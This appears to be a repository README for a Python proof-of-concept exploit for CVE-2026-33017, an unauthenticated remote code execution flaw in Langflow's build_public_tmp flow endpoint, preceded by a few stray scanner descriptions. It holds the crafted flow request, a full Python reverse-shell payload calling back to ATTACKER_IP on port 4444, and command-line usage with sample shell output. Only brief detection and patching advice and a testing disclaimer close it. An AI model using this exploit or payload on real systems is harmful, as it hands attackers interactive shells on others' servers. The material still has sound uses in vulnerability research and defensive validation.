
Python proof-of-concept for CVE-2026-33017: unauthenticated RCE in Langflow via the build_public_tmp flow endpoint, executing custom component code to spawn a reverse shell.

Fast YAML-based vulnerability scanner with template-driven detection engine for automated security testing across web apps, APIs, networks, DNS, and cloud infrastructure.

Open-source web application security scanner for automated vulnerability detection, manual penetration testing, and API security testing with a proxy-based interception engine.

This repository contains the scanner component for Greenbone Community Edition.
A proof-of-concept demonstrating unauthenticated remote code execution against vulnerable Langflow instances through the build_public_tmp flow endpoint.
The exploit abuses the handling of custom component code during flow construction. A crafted flow definition supplies Python code that is executed server-side when the application processes the component.
No authenticated session is configured by this PoC. The result is a reverse shell initiated from the target to an attacker-controlled listener.
| Field | Details |
|---|---|
| CVE | CVE-2026-33017 |
| Product | Langflow |
| Vulnerability | Unauthenticated Remote Code Execution |
| Impact | Remote code execution |
| Authentication | Not required by this PoC |
| Exploit type | Python-based PoC |
| Payload | Custom component execution |
| Connection | Reverse TCP shell |
Affected versions: To be confirmed against the vendor advisory.
Fixed version: To be confirmed against the vendor advisory.
The exploit interacts with the following API endpoints:
1. Initial endpoint probe
GET /
The script checks whether the target is reachable and responds with HTTP 200 or 302.
2. Vulnerability probe
POST /api/v1/build_public_tmp/test/flow
A minimal flow definition is submitted:
POST /api/v1/build_public_tmp/test/flow HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Cookie: client_id=<random-uuid>
{
"data": {
"nodes": [],
"edges": []
}
}
The PoC treats responses with status codes 200, 400, 404 or 422 as evidence that the endpoint is reachable.
This is an endpoint reachability check, not definitive proof of vulnerability.
3. Exploit request
The exploit constructs a custom component named ExploitsSxnB.
Its component definition includes an output method that executes the supplied Python code.
The payload is compressed using zlib and encoded with Base64 before being embedded into the component.
The resulting flow is submitted to:
POST /api/v1/build_public_tmp/<FLOW_ID>/flow
Example request structure:
POST /api/v1/build_public_tmp/<FLOW_ID>/flow HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
Cookie: client_id=<random-uuid>
User-Agent: exploit/<random-string>
{
"data": {
"nodes": [
{
"id": "exploit-ABC123",
"type": "genericNode",
"position": {
"x": 123,
"y": 456
},
"data": {
"id": "exploit-ABC123",
"type": "ExploitsSxnB",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "<CUSTOM_COMPONENT_PYTHON_CODE>",
"name": "code"
},
"_type": "Component"
},
"display_name": "ExploitsSxnB",
"name": "ExploitsSxnB"
}
}
}
],
"edges": []
},
"inputs": null
}
The actual exploit generates the complete component definition dynamically, including its output configuration and encoded execution payload.
The flow ID must correspond to a public flow on the target.
The custom component imports the required Langflow classes:
from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
It defines an output method that reconstructs and executes the encoded Python payload.
The decoded payload performs the following operations:
/bin/sh process.The execution logic:
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("ATTACKER_IP", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])
The connection originates from the Langflow server.
This is not a bind shell. The target initiates the outbound TCP connection to the configured callback listener.
Before sending the exploit request, the PoC starts a TCP listener.
The listener binds to the supplied callback address and port, waits for an incoming connection, and passes the accepted socket to the interactive shell handler.
The script also handles:
A successful callback provides an interactive shell with the privileges of the Langflow process.
pip install requests rich
Rich is optional. The exploit falls back to standard Python logging when it is unavailable.
python3 exploit.py \
-t http://127.0.0.1:7860 \
-f <FLOW_ID> \
-l <CALLBACK_IP> \
-p 4444
| Argument | Description |
|---|---|
-t, --target | Target Langflow base URL |
-f, --flow-id | Public flow UUID |
-l, --lhost | Callback address |
-p, --lport | Callback port (default: 4444) |
--timeout | HTTP request timeout (default: 15 seconds) |
--wait | Callback timeout (default: 45 seconds) |
Example:
python3 exploit.py \
-t http://192.168.1.100:7860 \
-f 12345678-abcd-1234-abcd-123456789abc \
-l 192.168.1.50 \
-p 4444
The following illustrates the expected execution sequence. Addresses, identifiers and HTTP responses will vary.
[INFO] probing http://127.0.0.1:7860
[INFO] Langflow instance detected
[INFO] build_public_tmp endpoint reachable - target is likely vulnerable
[INFO] listening on 127.0.0.1:4444
[INFO] firing payload at http://127.0.0.1:7860/api/v1/build_public_tmp/<FLOW_ID>/flow
[INFO] HTTP 200
[INFO] waiting up to 45s for shell
[INFO] shell from 127.0.0.1:53124
[INFO] interactive shell - type 'exit' to close, Ctrl-C to abort
~$ id
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
Illustrative output, not a captured exploitation result.
Defenders should investigate:
/api/v1/build_public_tmp/.Restrict access to exposed Langflow endpoints, review public flow functionality, and upgrade to a vendor-confirmed patched release.
This project is intended for vulnerability research, controlled testing and defensive security validation. Only test systems you own.